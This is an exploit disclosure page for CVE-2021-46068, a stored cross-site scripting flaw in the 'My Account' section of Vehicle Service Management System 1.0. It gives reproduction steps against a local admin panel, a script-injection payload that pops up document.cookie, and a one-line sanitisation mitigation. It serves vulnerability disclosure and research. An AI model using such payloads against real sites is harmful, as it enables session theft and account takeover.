Share
## https://sploitus.com/exploit?id=DE9BF4EE-F222-5682-A2F4-4B366C43348D
# CVE-2021-46068

### Exploit Title: Vehicle Service Management System - 'MyAccount' Stored Cross Site Scripting (XSS)
### Exploit Author: <a href="https://www.plsanu.com">P.L.Sanu</a>
### CVE: CVE-2021-46068
### CVSS: 4.8 MEDIUM
### References: 
- https://www.plsanu.com/vehicle-service-management-system-myaccount-stored-cross-site-scripting-xss
- https://nvd.nist.gov/vuln/detail/CVE-2021-46068
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-46068

### Description:
A Stored Cross Site Scripting (XSS) vulnerability exists in Vehicle Service Management System 1.0 via the My Account Section in login panel.

### Exploit:
1. Login to the admin panel http://localhost/vehicle_service/admin
2. Navigate to My Account section http://localhost/vehicle_service/admin/?page=user
3. Inject the below payload in First Name & Last Name input field.

### Payload:
```html
"><script>alert(document.cookie)</script>
```

4. Click on update button.
5. Malicious javascript code triggered.

### Impact:
An attacker can able to inject malicious JavaScript code in My Account Section.

### Mitigation:
It is recommended to sanitize all the input fields throughout the application.